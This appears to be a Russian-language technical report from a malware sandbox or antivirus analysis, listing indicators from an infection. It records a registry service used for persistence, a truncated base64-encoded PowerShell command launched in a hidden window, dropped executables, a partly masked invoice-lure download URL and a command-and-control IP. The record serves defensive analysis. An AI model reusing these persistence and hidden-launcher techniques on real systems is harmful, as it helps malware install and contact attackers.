Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\resizeremote] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\resizeremote] 'ImagePath' = '"%WINDIR%\SysWOW64\resizeremote.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABJAGwAcgBkAHMAdgBsAHYAawBtAGcAdwA9ACcAVQB2AHcAbwBxAHQAeQB3AHgAYQBoAHkAJwA7ACQASABoAGwAeQBkAHcAcABrAHkAZQBzAHcAIAA9ACAAJwA2ADkAJwA7ACQAUQBhAHgAcgB3AGQAbgBwAGsAZgA9ACcATQB4AHkAcgBnAHoAdQB...
- %HOMEPATH%\69.exe
- %HOMEPATH%\69.exe в %WINDIR%\syswow64\resizeremote.exe
- http://te####dilsrl.net/view-report-invoice-00001646/gNbChXvVU/
- http://21#.##0.229.161:443/child/ via 21#.#10.229.161
- DNS ASK te####dilsrl.net
- '%HOMEPATH%\69.exe'
- '%WINDIR%\syswow64\resizeremote.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABJAGwAcgBkAHMAdgBsAHYAawBtAGcAdwA9ACcAVQB2AHcAbwBxAHQAeQB3AHgAYQBoAHkAJwA7ACQASABoAGwAeQBkAHcAcABrAHkAZQBzAHcAIAA9ACAAJwA2ADkAJwA7ACQAUQBhAHgAcgB3AGQAbgBwAGsAZgA9ACcATQB4AHkAcgBnAHoAdQB...' (со скрытым окном)